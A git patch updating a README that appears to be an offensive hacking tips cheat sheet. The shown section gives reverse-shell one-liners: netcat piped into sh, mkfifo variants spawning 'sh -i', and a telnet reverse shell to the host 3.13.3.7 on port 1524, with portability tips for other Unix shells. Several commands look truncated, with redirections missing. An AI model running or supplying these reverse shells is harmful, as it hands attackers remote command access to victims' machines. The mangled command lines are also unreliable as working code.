From 2d4b56c0965e7bce067978acda717c1c95f59e12 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Thu, 12 Oct 2023 08:58:51 +0100 Subject: [PATCH] Update README.md --- README.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 0aa58b9..0578e10 100644 --- a/README.md +++ b/README.md @@ -1172,21 +1172,22 @@ Variant if *'-e'* is not supported: { nc -vn 3.13.3.7 1524 &- | sh 2>&3 >&3 3>&- ; } 3>&1 | : ``` +* On modern shells this can be shortened to `{ nc -v 127.0.0.1 31337 &1|:`. (*thanks IA_PD*). +* The `| :` trick wont work on C-Shell/tcsh (FreeBSD), orignal Bourne shell (Soalris) or Korn shell (AIX). Use `mkfifo` instead. + Variant for older */bin/sh*: ```sh -mkfifo /tmp/.io -sh -i 2>&1 /tmp/.io +mkfifo /tmp/.io; sh -i 2>&1 /tmp/.io ``` Telnet variant: ```sh -mkfifo /tmp/.io -sh -i 2>&1 /tmp/.io +mkfifo /tmp/.io; sh -i 2>&1 /tmp/.io ``` Telnet variant when mkfifo is not supported (Ulg!): ```sh -({ touch /tmp/.fio; sleep 60; rm -f /tmp/.fio;} & ) +({ touch /tmp/.fio; sleep 60; rm -f /tmp/.fio;} & ); tail -f /tmp/.fio | sh -i 2>&1 | telnet 3.13.3.7 1524 >/tmp/.fio ``` Note: This trick logs your commands to a file. The file will be *unlinked* from the after 60 seconds but remains useable as a 'make shift pipe' as long as the reverse tunnel is started within 60 seconds.